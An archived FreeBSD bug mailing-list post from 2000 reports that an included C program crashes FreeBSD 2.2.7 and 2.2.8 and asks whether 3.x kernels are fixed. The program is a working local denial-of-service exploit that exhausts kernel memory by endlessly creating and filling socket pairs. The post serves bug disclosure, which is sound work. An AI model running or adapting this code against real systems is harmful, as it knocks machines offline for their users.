Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 2 Jan 2000 23:49:16 -0500 (EST)
From:      Greg Lynn <dglynn@vaview5.vavu.vt.edu>
To:        freebsd-bugs@freebsd.org
Subject:   buffer overflow....
Message-ID:  <Pine.BSF.4.10.10001022345400.96127-100000@vaview5.vavu.vt.edu>

next in thread | raw e-mail | index | archive | help

This code criples 2.2.7 and 2.2.8 but I haven't
tested it on any 3.x stable kernels.  Does
anyone know if this has been fixed with 3.x 
kernels?  The code is fairly old...

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }

        return(0);
}

-thanks, Greg



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.10.10001022345400.96127-100000>